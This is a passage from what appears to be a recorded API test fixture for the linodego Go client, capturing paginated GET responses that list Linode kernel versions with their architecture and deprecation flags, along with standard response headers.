"2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86-linode150", "label": "5.3.7-x86-linode150", "version": "5.3.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86-linode149", "label": "5.2.9-x86-linode149", "version": "5.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86-linode148", "label": "5.1.17-x86-linode148", "version": "5.1.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86-linode147", "label": "5.1.11-x86-linode147", "version": "5.1.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86-linode146", "label": "5.1.5-x86-linode146", "version": "5.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86-linode145", "label": "4.14.120-x86-linode145", "version": "4.14.120", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86-linode144", "label": "5.1.2-x86-linode144", "version": "5.1.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86-linode143", "label": "5.0.8-x86-linode143", "version": "5.0.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86-linode141", "label": "4.20.4-x86-linode141", "version": "4.20.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86-linode140", "label": "4.19.8-x86-linode140", "version": "4.19.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86-linode139", "label": "4.19.5-x86-linode139", "version": "4.19.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86-linode138", "label": "4.18.16-x86-linode138", "version": "4.18.16", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode137", "label": "4.18.8-x86-linode137", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86-linode136", "label": "4.18.8-x86-linode136", "version": "4.18.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86-linode135", "label": "4.17.17-x86-linode135", "version": "4.17.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86-linode134", "label": "4.17.15-x86-linode134", "version": "4.17.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode133", "label": "4.17.14-x86-linode133", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86-linode132", "label": "4.17.14-x86-linode132", "version": "4.17.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86-linode131", "label": "4.17.12-x86-linode131", "version": "4.17.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86-linode130", "label": "4.17.11-x86-linode130", "version": "4.17.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86-linode129", "label": "4.17.8-x86-linode129", "version": "4.17.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86-linode128", "label": "4.17.2-x86-linode128", "version": "4.17.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86-linode127", "label": "4.16.11-x86-linode127", "version": "4.16.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86-linode126", "label": "4.15.18-x86-linode126", "version": "4.15.18", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86-linode125", "label": "4.15.13-x86-linode125", "version": "4.15.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86-linode124", "label": "4.15.12-x86-linode124", "version": "4.15.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86-linode123", "label": "4.15.10-x86-linode123", "version": "4.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86-linode122", "label": "4.15.8-x86-linode122", "version": "4.15.8", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86-linode121", "label": "4.15.7-x86-linode121", "version": "4.15.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86-linode119", "label": "4.14.19-x86-linode119", "version": "4.14.19", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86-linode118", "label": "4.14.17-x86-linode118", "version": "4.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86-linode117", "label": "4.9.80-x86-linode117", "version": "4.9.80", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86-linode116", "label": "4.4.115-x86-linode116", "version": "4.4.115", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86-linode115", "label": "4.4.113-x86-linode115", "version": "4.4.113", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86-linode100", "label": "4.9.15-x86-linode100", "version": "4.9.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86-linode99", "label": "4.9.7-x86-linode99", "version": "4.9.7", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86-linode98", "label": "4.9.0-x86-linode98", "version": "4.9.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86-linode97", "label": "4.8.6-x86-linode97", "version": "4.8.6", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86-linode96", "label": "4.8.4-x86-linode96", "version": "4.8.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86-linode95", "label": "4.8.3-x86-linode95", "version": "4.8.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86-linode94", "label": "4.8.1-x86-linode94", "version": "4.8.1", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86-linode92", "label": "4.7.3-x86-linode92", "version": "4.7.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86-linode90", "label": "4.7.0-x86-linode90", "version": "4.7.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86-linode89", "label": "4.6.5-x86-linode89", "version": "4.6.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86-linode88", "label": "4.5.5-x86-linode88", "version": "4.5.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86-linode86", "label": "4.5.3-x86-linode86", "version": "4.5.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86-linode84", "label": "4.5.0-x86-linode84", "version": "4.5.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86-linode83", "label": "4.4.4-x86-linode83", "version": "4.4.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86-linode82", "label": "4.4.0-x86-linode82", "version": "4.4.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode80", "label": "4.1.5-x86-linode80", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86-linode79", "label": "4.1.5-x86-linode79", "version": "4.1.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86-linode78", "label": "4.1.0-x86-linode78", "version": "4.1.0", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode77", "label": "4.0.5-x86-linode77", "version": "4.0.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86-linode76", "label": "4.0.5-x86-linode76", "version": "4.0.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86-linode75", "label": "4.0.4-x86-linode75", "version": "4.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86-linode74", "label": "4.0.2-x86-linode74", "version": "4.0.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode73", "label": "4.0.1-x86-linode73", "version": "4.0.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86-linode72", "label": "4.0-x86-linode72", "version": "4.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86-linode71", "label": "3.19.1-x86-linode71", "version": "3.19.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86-linode70", "label": "3.18.5-x86-linode70", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86-linode69", "label": "3.18.3-x86-linode69", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86-linode68", "label": "3.18.1-x86-linode68", "version": "3.18.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86-linode67", "label": "3.16.7-x86-linode67", "version": "3.16.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86-linode65", "label": "3.16.5-x86-linode65", "version": "3.16.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86-linode64", "label": "3.15.4-x86-linode64", "version": "3.15.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86-linode63", "label": "3.15.3-x86-linode63", "version": "3.15.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86-linode62", "label": "3.15.2-x86-linode62", "version": "3.15.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode61", "label": "3.14.5-x86-linode61", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86-linode60", "label": "3.14.5-x86-linode60", "version": "3.14.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86-linode59", "label": "3.14.4-x86-linode59", "version": "3.14.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86-linode58", "label": "3.14.1-x86-linode58", "version": "3.14.1", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86-linode57", "label": "3.13.7-x86-linode57", "version": "3.13.7", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86-linode56", "label": "3.12.9-x86-linode56", "version": "3.12.9", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86-linode54", "label": "3.11.6-x86-linode54", "version": "3.11.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86-linode55", "label": "3.12.6-x86-linode55", "version": "3.12.6", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86-linode53", "label": "3.10.3-x86-linode53", "version": "3.10.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86-linode52", "label": "3.9.3-x86-linode52", "version": "3.9.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86-linode51", "label": "3.9.2-x86-linode51", "version": "3.9.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-linode50", "label": "3.8.4-linode50", "version": "3.8.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-linode49", "label": "3.7.10-linode49", "version": "3.7.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-linode48", "label": "3.7.5-linode48", "version": "3.7.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-linode47", "label": "3.6.5-linode47", "version": "3.6.5", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-linode46", "label": "3.5.3-linode46", "version": "3.5.3", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-linode45", "label": "3.5.2-linode45", "version": "3.5.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-linode44", "label": "3.4.2-linode44", "version": "3.4.2", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-linode43", "label": "3.0.18-linode43", "version": "3.0.18", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.10-linode42", "label": "3.1.10-linode42", "version": "3.1.10", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.17-linode41", "label": "3.0.17-linode41", "version": "3.0.17", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-linode40", "label": "3.2.1-linode40", "version": "3.2.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-linode39", "label": "3.1.0-linode39", "version": "3.1.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode38", "label": "3.0.4-linode38", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", 